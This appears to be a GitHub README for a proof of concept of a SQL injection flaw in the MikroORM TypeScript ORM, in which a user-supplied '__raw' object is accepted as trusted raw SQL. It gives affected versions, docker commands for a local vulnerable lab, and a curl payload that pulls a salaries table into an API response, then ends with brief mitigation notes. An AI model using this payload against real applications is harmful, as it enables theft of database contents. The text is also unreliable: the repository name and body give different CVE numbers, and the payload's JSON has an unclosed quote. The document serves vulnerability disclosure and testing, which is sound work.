eqstlab/cve-2026-34220SQL Injection vulnerability in MikroORM
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 is a SQL Injection vulnerability in MikroORM, a widely used TypeScript/Node.js ORM framework.
When a user-supplied value containing a__rawproperty is passed to a Custom Type column without validation, MikroORM'sisRaw()check identifies it as a trusted internal Raw SQL expression and inserts the attacker-controlledsqlvalue directly into the generated query without type conversion or sanitization, causing unintended execution of arbitrary SQL.
| Category | Version |
|---|
| Vulnerable | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| Patched | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
After starting the vulnerable environment, follow the steps below to reproduce the attack.
__rawSend a JSON body that includes a __raw property targeting a Custom Type column.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Verify that the API returns a successful response without any error, indicating that MikroORM accepted the malicious payload as a valid value.
Verify that the content field of the created post contains the query result
from the salaries table (e.g., Alice: 5000 / Bob: 7000 / ...),
confirming that data from an unrelated table has been silently embedded
into the response without any error or access control violation.
isRaw() to reject externally supplied __raw properties__raw before passing values to ORM layer